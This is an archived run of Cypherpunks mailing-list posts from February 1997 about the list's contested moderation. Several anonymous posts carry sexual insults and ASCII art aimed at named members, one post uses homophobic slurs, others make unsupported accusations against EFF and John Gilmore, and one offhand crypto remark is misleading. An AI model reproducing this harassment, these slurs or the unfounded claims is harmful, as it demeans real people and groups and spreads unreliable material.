Date: Tue, 4 Feb 1997 06:26:38 -0800 (PST)
To: tmcghan@gill-simpson.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041426.GAA27956@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


tmcghan@gill-simpson.com wrote:
> in a message allegedly from:  "Timothy C. May" <tcmay@got.net>
> > the really important issue is this: is the _physical hosting_ of the
> > Cypherpunks mailing list coterminous with the "Cypherpunks"?
> { much thoughtful and well-phrased commentary elided }
> > I would have had no problem had John announced that he was creating
> > a new list, the "Good Stuff" list, with Sandy has his Chooser of
> > Good Stuff.  But by making the _main list_ the censored one, this
> > skewed things considerably.

> Now that the horse is out of the barn, ( or maybe not? ), I can't help
> but ask whether one specific 'change to the change' would have
> satisfied most of your objections:  retaining 'cypherpunks' as the
> name of the unedited, all-the-crud-you-can-read-and-then-some,
> version, and adding an 'cp-worthwhile' list for those of us who prefer
> not to wade thru mountains of garbage to glean a few precious tidbits.
> What's in a name?  Is perception more important ( to you ) than
> reality?  If just swapping names between cp and cp-unedited would make
> such a large difference, I humbly suggest to you that you consider how
> much labels need to matter.  Is the title of the group more important
> the the content?  From where I sit, this looks a lot like a
> style-over-substance complaint.  Of course, I don't have my trifocals
> on just at the moment.

If it did not suit a specific purpose, they wouldn't have done it
that way.  You can take it to the bank that they did this because
it was the only way to keep the 1300-plus sheep subscribed to what
they wanted to be their "main" list.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 06:25:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: The V chip
Message-ID: <199702041425.GAA27851@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Demented Vomit was born when his mother was on the toilet.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Demented Vomit







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 06:25:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [DSS] PGP Signatures
Message-ID: <199702041425.GAA27869@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Decoy Vilus K)ankersore( Of The Minute's family tree goes
straight up. All of his ancestors were siblings, too dumb to
recognize each other in the dark.

       |\_/|
       (0_0)     Decoy Vilus K)ankersore( Of The Minute
      ==(Y)==
  ---(u)---(u)---







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 06:25:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Degausser
Message-ID: <199702041425.GAA27875@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Decoy L[esbian] Vitriol K[ancer]OTM has been fired for
masturbating in front of his boss.

          o/ Decoy L[esbian] Vitriol K[ancer]OTM
         <|
         / >







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:40:47 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: Trigger-Words...Trigger-Fingers
Message-ID: <199702041440.GAA28300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson wrote:
> Cynthia H. Brown wrote:
[snippo]
> Theres not many girls on this list, is there?
[mo' snippo]
> Anyway, my uncle prints out the girl-cypherpunks stuff for the girls
> on my list and they think its real cool and they all want to marry
> technicians so that they can make them work on the computers for them,
> kind of like making them do the computer dishes, you know.
[yet mo' snippo]

I want to get married.  Lots of times.  Are the girls cute?
I don't do hardware, tho, I'm a software guy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 4 Feb 1997 06:26:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FCPUNX:ecure Phones (fwd)
Message-ID: <199702041426.GAA27899@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Tue, 4 Feb 1997 06:56:39 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Trigger-Words...Trigger-Fingers
Message-ID: <199702041456.GAA28778@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Larry Johnson wrote:
> > Cynthia H. Brown wrote:
> [snippo]
> > Theres not many girls on this list, is there?
> [mo' snippo]
> > Anyway, my uncle prints out the girl-cypherpunks stuff for the girls
> > on my list and they think its real cool and they all want to marry
> > technicians so that they can make them work on the computers for them,
> > kind of like making them do the computer dishes, you know.
> [yet mo' snippo]
> 
> I want to get married.  Lots of times.  Are the girls cute?
> I don't do hardware, tho, I'm a software guy.

Yeah their real cute, most of them anyway. Their all nice though. Some of them
would like you cause they dont like regular guys, cause their troublemakers
too. 
I know your a troublemaker (I think thats a good thing) because Ive read your
stuff and myu uncle keeps you in his NotADork/MyAssholes dir. Thats where he 
keeps the troublemakers but its not an insult because he likes what Kevin
(hes a Bodston Celtic said--"Danny Ange is an asshole, but hes _our_ asshole."
  He taght me how to read by using the Froggie manual since I could boot it
myself when he was out of the rooom when I was two year old. Now he teachs
me how to read with the cypherpunk messages and stuff from his govbernment
friends. (Their good government guys though, they like you guys. Their 
really secret guys not lamer regualar secret guys. They laugh at those 
regular secret guys who screw with you guys cause they leave their pecker
tracks all over the place.)
Some people thik Im a lamer cause Im not good with grammer (not on the kids
lists thogh) bu tmy uncle says Ill learn how to do that but Im better to
learn how tho think first. Ive got dsylexia too so I use a spell checkerif
I want to look smart but emailers dont have it.

You guyhs should keep being troublemakers. Really.
My uncle says that if you guys get too polite then you better watcvh your
backs when you curtsy, cause you never know whos sneaking up behind you.
He told me that if I watch you rmodernation that I wont have to have
sex educaton laterer cause I'll already know how to get f*)&%ed.
(Hes funny. His governmnt friends call him the fool becaise hes dumb like
a fox.)
Excuse my spelling but I spell things good once I see them in a dir cause
myu uncle make s me look stuff up before I put it in a dir or he erases
myu dir to make me learn.

I think the girls would like you cause yuou are a computer guy. Ill show 
them your letter. Theeir smart, too. They dont like lamer guys. When their
school computer guy messes up ecveyones stuff then they fix it but they 
dont tell him cause it makes him mad.
Im not real good at 4reading code and stuff but the secret computer guys 
let me drink Scotch with them evcen in the bar at the Holiday In in Santafe
cause Im smarter than them abou t som e stuff even if they are really good.
(I go tm y uncles password on his secret machine by putting my video camera
on the frige with a dead battery and pluging it into his power supply)
(Now when he boots up he will getr Duke Nukem3D and when he leacves it
he will get a message telling him hes a _lamer_.)
He had to go to Lost Alamo again because of you guys and hell gibve me 
sh*&)( when he gets back but not too much cause he said I could do 
anything I want on his secret machine if I got on it.
Im getting to play with Unix cause he has a Spark Card on it that has Unix
on it. (Dos is for lamers but Bill Gates owns ecerything so its cheaper
for kids)

Some lamer said on cypherpunks today that it takes him an hour to get
the pecker messages off his computer. My uncle has me to do it for him
sometimes and it only take me like maybve two minutes. 
If the guy is such a lmaer that it take s hinm an hour then maybe he
should just read only the pecker messages cause they have pictures and
then when he mobes his lips to read then he coul d put them on the
peckers. (Thats a joke)

I like that Tim May is bacvk, if only even for a little while.  When you
guys fight at least you say stuff that isnt kissing ass for other guys 
money.
Im going to make a message to cypherpunsk that says if anyone wants me
to be their moderator then they should not write any messages to the
cypherpunks. Then the 2000 people who dont post will be voting for me
to be their moderator and I will be their boss.
If Im the moderator then I will givbe everyone free pizz a and lots 
and lots of Scotch. (<--Dewars)

I hope you guys stay together. My uncle says sometimes you learn by 
looking and sometimes you leran by seeing whos looking back. But he
tells the  secret gobvernmetn guys not to look back cause their
might be a cypherpunk gaining on them. (Thats a joke)

Ive got to go to bed so I can pretned to get up again. Im sick so I
can do what I want bu t Im not supposed to stya up all night either.
I wont let the door hit me in the ass on my wayout.

Bye,
Human Gus-Peter
p.s. - dont write me after Thursday cause my dad will be back and Ill
get in trouble. My uncle will help me clean u p my mess cause hes not
a squealer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 06:55:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Elliptic curves
Message-ID: <199702041455.GAA28677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May's wee-wee is so tiny that only his mommy is allowed 
to touch it.

   /\
  /..\  Tim May
 /_\/_\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Tue, 4 Feb 1997 06:57:48 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041457.GAA28808@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
>> Adam Back wrote:
>> >
>> > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
>> > an aside, it is ironic that John Gilmore was the guy who started the
>> > alt.* USENET hierarchy, specifically to facilitate freedom of speech).
>> >
>>
>> An interesting idea.
> 
>John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for
>other people's accomplishments.  

  Well EFF itself is a lie--the were very well exposed by Wired Mag. a
while back as being nothing more than a corporate whore.  They represent
the interests of owners not consumers--the ACLU has been very open
in their critisism of the EFF in this regard.  A large corporation
waves some money in front of their noses and tells them to bend
over you can be sure they'll bend over.  Respectable free speech
advocates do not associate with EFF.

>He had nothing whatsoever to do with the creation of the alt.* Usenet 
>hierarchy. Gilmore is a liar and a censor.
> 

  Is Mr. Gilmore making this claim?

>On the other hand, creating an alt.cypherpunks sounds like a more robust
>idea than yet another mailing list.

  And you could merely post this mailing list publically in the
alt group of your choice--I find it interesting at times but not
worth responding to in general since freedom of expressiion is
not a given.

                            Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 4 Feb 1997 06:41:33 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041441.GAA28376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> This is Tim's first error of fact.  I point it out not to insult
> him, but because it seriously affects much of the rest of his
> analysis.  We are conducting an experiment.  It will last one 
> month.  After that, it's over if list members want it to be over.
> If, on the other hand, moderation is seen by the list members as
> beneficial to their use and enjoyment of the list, the current
> form of moderation--or some variation will continue.

How will you allow list members to decide? - Here presumably we 
have a self proclaimed anarchist in favour of direct democracy. 
And if the subscribers can call off this "experiment" it seems rather 
out of place that they did not institute it in the first place.

> > With no false modesty I tried awfully hard to compose substantive
> > essays on crypto-political topics, often more than one per day.
> 
> I would hope that Tim will return to this practice irrespective
> of whether the list remains moderated or returns to its previous
> policies.  More on this, below.

You genuinely expect a thoughtful writer and intelligent author of 
posts to allow you to approve them or otherwise for general release? 
 
> > (Others did too, but they seem to be tapering off as well, leaving the list
> > to be dominated by something called a "Toto," the "O.J. was framed!"
> > ravings of Dale Thorn, the love letters between Vulis and someone name
> > Nurdane Oksas,...
> 
> Two points:  Since Tim largely agrees with those in opposition to
> moderation, and because of the extraordinary nature of Tim's post,
> I did not send it to the "flames" list.  It was a judgment call.

Why? - I saw nothing whatsoever in Tim`s post that would make it a 
"judgement call" for any objective moderator^H^H^H^H^H^H^H^H^Hcensor.
The real reason it was a judegement call was because it was critical 
of Gilmore and yourself, in addition Tim`s points where too subtle 
and deep for you to respond to without resorting to sophistry.
The reason on the other hand you did choose to post it to the 
censored list was because you realised this and could not get away 
with junking it to the flames list without incurring criticism.
  
> The problems Tim describes, did not arise with moderation.  
> Indeed, they were the imputus for the moderation.

Sophistry once again. I shall not even bother to explore in more 
detail this issue as any intelligent reader can, even at face value, 
see this to be a falacious argument.

> > Second, the list was consumed with
> > flames about this, many from Vulis, and many from others.
> 
> It was consumed with flames before.  Now, at least, the vast
> majority of folks on the list don't have to read them, nor jump
> through any hoops to implement some sort of dynamic filtering
> half-measure.

Three questions:

1. How do you see filtering to be a "half measure"
2. What hoops? - if you count implementing a simple filtering 
measure to be "jumping through hoops" how do you consider that 
readers of the list do not have to "jump through hoops" to subscribe 
to the uncensored list.
3. What makes you think that your subjective and evidently self serving method 
of moderation is any better than keyword filtering.
 
 
> What didn't work was "local filtering" which has no feed-back 
> loop to engender comity.  This might not work either, but I see
> no evidence that it has made things worse.  Remember, there are a
> hand-full of subscribers to the Flames list, 20-30 on the 
> Unedited list and *2000* or so on the Moderated list.  Sure some
> of that may be due to laziness, but it would be cavalier in the
> extreme to claim that such an overwhelming acceptance of 
> moderation is merely an artifact of inertia.

Cavalier? - I`ll bet you anything you like if you had set up a new 
list for the censored articles and left cypherpunks@toad.com as an 
uncensored list you would have seen the same results, that 2000 or so 
would have remained where they were instead of trying to "unimbibe", 
and a hardcore of 20 to 30 subscribers would have consciously taken 
the decision to move to the censored list.

As we seem to be in "experiment" mood on the cypherpunks list at the 
moment I challenge you now to re-configure the list as stated above. 
The we shall see whose viewpoint is "cavalier"
 
> But to make things perfectly clear one more time, ANYONE WHO 
> WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO 
> "CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES."  

See above argument, the flock stay together. In addition other list 
members are lazy, stupid, ignorant etc. And cannot/will not subscribe 
to the uncensored list.

> But let's apply Tim's above definition for the sake of argument.
> Am I, thereby, a censor?  Well I am examining "other material" 
> and I am making judgments with regard to whether or not it is
> "objectionable," unfortunately for Tim's argument, I am neither
> "removing" nor "supressing" anything.  Anybody can read anything
> that gets posted to Cypherpunks--in two places.  I am sorting,
> but even my sorting can be completely avoided.

Waffle. There is a suprising profundity of waffle in this post 
considering it is supposed to be refuting some very subtle and 
eloquently stated arguments by Tim.
The fact is you are a censor, you are deciding what is seen on the 
"main" cypherpunks list, you send any comments on your form of 
censorship, apart from compliments, to the "flames" list in order to 
protect yourself and John Gilmore.

> Very possibly true.  Moderation is like crypto, perfection isn't
> and option.  However, a 90% solution is a heck of a lot better 
> than no solution at all.  Yes, I've made what I consider to be
> errors, but I think on some, I've done a very good job overall.
>  
> > * (Frankly, one of my considerations in leaving was the feeling that I
> > would never know if an essay I'd spent hours composing would be rejected by
> > Sandy for whatever reasons....
> 
> Tim, I think this is disingenuous.  I have been quite clear on 
> my moderation criteria.  You are too intelligent to feign such
> a lack of understanding.

Not at all, Even if you had been clear (and let me make it clear that 
I do not believe you have been) you still would not objectively 
follow those guidelines you had set for yourself. Your censorship is 
subjective and unethical. However, I am deviating from the point as I 
happen to be arguing from an anti-censorship point of view whoever 
were carrying out said censorship.

> > * The decision to "moderate" (censor) the Cypherpunks list is powerful
> > ammunition to give to our opponents,
> 
> Piffle.  Letting spoiled children destroy the list puts a far
> more powerful weapon in the hands of our enemies.

Piffle, showing that even an anarchic list "requires" censorship is 
the best ammunition we could have given them. We are better off 
without a cypherpunks list at all than we are playing into the hands 
of those who oppose us.

> > and Vulis is certainly gleeful that
> > his fondest wishes have been realized.
> 
> I do not have a crystal ball.  My Vulcan mind meld is in the 
> shop.  No one--neither Tim, nor I, nor probably even Vulis--knows 
> whether he is gleeful about all this or not.  And frankly, who cares?
> The question is, are list members happy or not with moderation.
> Tim was not.  I am.  By the end of the experiment, I dare say we
> will have a good idea what most list members think. 

We already have a good idea what they think if we care to look at the 
flames list where all their relevant comments are junked to.

Besides which you are not answering the question here, just picking a 
random point to put forward an argument you wanted to.


> as far as moderating political rants go, I'm agnostic.

You mis-spelled self-serving.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Feb 1997 06:56:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More Hacking of the Mykotronx Site!
Message-ID: <199702041456.GAA28734@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


While this report may be true, I wonder if it's not a spoof or even
official disinformation to mislead about the details of Aaron's mission 
as well as what Rainbow and others are really peddling to
rabble-fearing paranoids.

This last sentence seems a bit too melodramatic even for a suck-up
crippled-chip manufacturer:

>The MYK-82, developed by Mykotronx and fabricated by VLSI Technology,
>Inc., is the first of a series of security products to be developed as
>part of an alliance with the NSA, targeting both Government and
>commercial citizen monitoring markets.

Granted that defense to LEA-market conversionists like to pornograph the 
godawful carnage their technology can wreak on disobedient civilians to 
arouse ex-military-to-LEA converted glands -- do they actually write SOF 
drool like this?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Tue, 4 Feb 1997 13:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: e$
Message-ID: <199702042159.NAA06270@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May is so full of shit that some of 
it bursts out on this mailing list.

           o
       /\O/        O Timothy May
      0  \\    | 0-#
         //    |  / \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Tue, 4 Feb 1997 13:59:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: [UPDATE] Making OCR'ed code transfer easier
Message-ID: <199702042159.NAA06301@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceased Vilus has such a small penis because the mohel who
circumcised him was trying to do the world a favor.

    _   /|
    `o_O'   Deceased Vilus
     ( )
      U







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 4 Feb 1997 15:19:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: BA Crypto Machine Photos (fwd)
Message-ID: <199702042319.PAA07554@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Tue, 4 Feb 1997 23:25:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Zero-knowledge interactive proofs
Message-ID: <199702050725.XAA18020@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The main difference between Tim C. Maypole and 
shit is that shit smells better.

       o       o
     /<         >\ Tim C. Maypole
     \\\_______///
     //         \\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 4 Feb 1997 23:27:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Announcing ZDNet Exclusives!
Message-ID: <199702050727.XAA18146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:41:10 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050741.XAA18588@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:

> > The drunk can be excluded, but when someone wants to use the drunk as
> > an example to escalate the exclusion to other persons who are not in
> > fact drunk, watch out!

> If I get really really drunk, which happens very seldom, then I'm
> too drunk to post. I don't mind an occasional beer, though.

> Oksas, have you ever tried beer? :-)

I had my first beer(s) in three years at one of those industrial
parties last night.  It made the craps table action seem a bit
merrier, and the girls were friendlier too.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Tue, 4 Feb 1997 23:41:25 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: John Gilmore / What a _Lamer_!
Message-ID: <199702050741.XAA18624@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.

I havent chosen nothing like that. 
I read all the stuff from all the messages from before modernation 
and since then and nobody got to choose nothing. You told them what
they were going to gwet and thats what they got.
Anybody that made it plain that they werent happy got thrown in the
trashcan and labled as being a flamer.

>  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.

1311 addresses that you stole for your censored list.
Nobvody subscribved to cypherpunks-censored. You put them there cause
its you decided it was your list an dyou could put people where you
wanted even if they didnt like it.
My uncle calls it the cyperpunks-Auschwitz list. Thats what subdir
he keeps it in in his Dorks dir.

> The cypherpunks list was unusable
> for this kind of discussion, only a month ago.  It's usable now.

I could use it before and Im just a kid but Im not a lamer. 
Maybe you should call the list you stole cypherpunks-lamers. 

> I'm definitely bugged by the community's attitude toward my
> "censorship".  

I know you are or else you wouldna thrown cypherpunks honest and
truthful feelings in the flames-crapper.

> Rather than being glad that someone, anyone, was doing
> something about the major problem on the list, 99% of the reaction was
> to create even more ill-considered, emotional flamage.

I read a lot of flamessages which people put a lot of their thouhgts 
into bu t they were emotional cause people get like that when someone
doo-doos on them.

>  *I* didn't
> make the signal/noise get worse at that point -- *you-all* did.

You dont make any signal/noise at all since you dont even send messages
to the list. (except when you want tell bs about how people "chose"
Sandy to be their dictator when they didnt)
 
> "Asking the list what to do" was clearly not a useful
> option.

Not necessary either if your a dictator.

>  As Dale suggests, I
> wasn't about to waste my time reading the whole list in real time and
> passing judgement on the postings.  Sandy was, for a month.

Howcum reading the list is a wast eof your time but making decisions
for ecveryone on the cypherpunks isnt?
 
>     To some it seemed that, now that they were in actual possession of
>     it, freedom was a more serious thing than they had expected to
>     find it.
> 
> Most of the people on the list haven't bothered to face that freedom.

1311 ofg them?
Howcum you just stole all of the list people for your censored list?
I think that was real stupid unless you just didnt care if people 
would know that your were stealing the list for yourself. It was
really rotten to call pewople flamers just cause they complained.

> Be responsible for setting your society's privacy policy -- without
> knowing whether you are right.

Thats what those GAK guys are for and all those secret govbernment
guys that want there not to be a cypherpunks anymore.


> Shall I post you an Emancipation Proclamation -- as if you needed one?

No you already done too much.

> The experiment will be over in a few weeks.  Who's going to take over
> deciding how to run the list, and running it?

I will. Im just a kid but I cant do any worse than already.
 
> the immortal words of Lazarus Long, "PIPE DOWN!".

Im a kid so I get told to shut up all the time but I dont.

> PS: Can we talk about crypto too? 

What do you mean _we_ white man? (thats a joke)
You havent talked about nothing on the list except how your not a
bad guy for pushing people areound into the lists where you want
them whether they like it or not.

You stole my uncles subsribing to the cypherpunks list and made him
a censored person. He had to break out to go to the uncensored list.
I think your a lamer.

Human Gus-Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 4 Feb 1997 23:28:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Geiger and long, unreadable lines
Message-ID: <199702050728.XAA18196@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

>
> Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-flames:
> > Adam Back <aba@dcs.ex.ac.uk> writes on cpunks-flames:
> > >
> > > Mr William H. Geiger III "Author of E-Secure" writes on cpunks:
> > > > <sigh> for the benifit of those misfortunate enough to be still working
> > > > dumb terminals I have disabled my PGP script until I have time to add a
> > > > word wrap routine to it.
> > >
> > > <sigh> it is you who were demonstrating your ineptitude by spewing
> > > 120+ line length postings.  Why is it so difficult for you to keep
> > > under 80 chars?  Would you like some technical assistance?  Notice how
> > > near every one else apart from yourself is managing to keep under 80
> > > chars?
> >
> > Notice how near every one else apart from yourself bends over for the NSA,
> > and is willing to use a 40-bit key "escrowed" with the feds?  Why is it so
> > difficult for you to keep under 40 bits? Would you like some technical
> > assistance? Why are you setting yourself apart from the Internet community
> > that so happily embraces GAK? Why do you desire "privacy" for your traffic
> > when everyone else does not? What have you got to hide? Are you looking to
> > transmit child pornography, bomb-making instructions, and/or cannabis
> > legalization propaganda? We better have a look at your hard disk soon.
>
> btw Dimitri, a crypto question:
>
> Diffie-Hellman key generation, there are two main ways of generating
> the diffie-hellman prime modulus, method 1:
>
> 	p = 2q+1
>
> where q is a prime also.
>
> And method 2:
>
> 	p = r.2q+1
>
> where q is a prime and r is a randomly generated number.
>
> With method 1, the security parameter is the size of p in bits (or
> size of q, as they are related).
>
> With method 2, there are two security parameters, size of q and size
> of p in bits.
>
> Method 2 has the advantage that key generation is faster as it is
> quicker to generate new random numbers r, than to repeatedly generate
> trial prime q as you have to do in method 1.  However is the security
> weaker in method 2?  What size of p and q do you have to use to get
> the same security as for same size of p in bits as in method 1?  What
> should be the relationship between the size of p and q?
>
> (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
> shouldn't hold, besides Sandy has a stated policy of killing the whole
> thread, so I thought it amusing to continue your crypto relevance in
> moving on to technical topics rather than political)

My advice is to stay clear of any cryptosystem that relies on factoring
being hard. I'll send you pointers to some very interesting new work
based on the zeta function in private e-mail when I dig it up (please
remind me if/when I forget this promise). I'm reluctant to say anything
crypto-relevant on this defunct mailing list because last time I did,
the moderator repeatedly cited it as evidence that his moderation works.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 4 Feb 1997 23:26:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050726.XAA18111@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> > What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> > common resource, making it unusable for the rest. It's the tragedy of the
> > commons. When all can speak without limit in a public forum, the drunken
> > boor can shout everyone else down.
>
> The drunk can be excluded, but when someone wants to use the drunk as
> an example to escalate the exclusion to other persons who are not in
> fact drunk, watch out!

If I get really really drunk, which happens very seldom, then I'm
too drunk to post. I don't mind an occasional beer, though.

Oksas, have you ever tried beer? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 4 Feb 1997 23:40:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: hoho
Message-ID: <199702050740.XAA18512@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


haha





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Tue, 4 Feb 1997 23:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Vote of Silence for Human Gus-Peter
Message-ID: <199702050740.XAA18537@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I want to be the new modernator so anyone who wants me to be it can
not send any messages, ok?
So any people who dont send messages are voting for me, ok?

(If I am modernator I will give everyone free pizza and Schotch.)

Ok. Now evceryone vote, ok?

Human Gus-Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Wed, 5 Feb 1997 07:25:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newt's phone calls
Message-ID: <199702051525.HAA28689@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimwit L)amentation( Vehement K)retin(OTM enjoys sucking the
puss from his syphilitic homosexual friends.

        /\_./o__ Dr.Dimwit L)amentation( Vehement K)retin(OTM
       (/^/(_^^'
      ._.(_.)_







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 5 Feb 1997 07:26:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702051526.HAA28769@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Feb 1997, Dave Hayes wrote:

> Steve Boursey writes:
> >   Well EFF itself is a lie--the were very well exposed by Wired Mag. a
> > while back as being nothing more than a corporate whore.  They represent
> > the interests of owners not consumers--the ACLU has been very open
> > in their critisism of the EFF in this regard.  A large corporation
> > waves some money in front of their noses and tells them to bend
> > over you can be sure they'll bend over.  
> 

Actually, the EFF is meaningless, and not worth discussing.
It was just a bunch of hippy faggots that got financed by the
greatfull dead, and since the greatfull dead died, the EFF should
just also die.  I mean come ON, with queers at the organization,
NOBODY is going to give it any credibility.

> It's not clear from where I sit that the EFF is intrinsically evil.  A

But it has John Gilmore there, and he is the evil censor.

> case can be argued for their initial good intentions followed by the
> subsequent poisoning of this intent by people with lots of money. Of
> course, -any- organization is as susceptable to infiltration as their
> weakest member.
> 
> > Respectable free speech advocates do not associate with EFF.
> 
> If one is going to advocate free speech, I strongly suggest one
> learns to deal with one's own greed and one's own need for power
> first. 

Greed and avarice may be bad, but wealth and control are good.
The power must always go to those who do not "need" it but who know
how to use it.  Not everybody is qualified to carry a gun.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
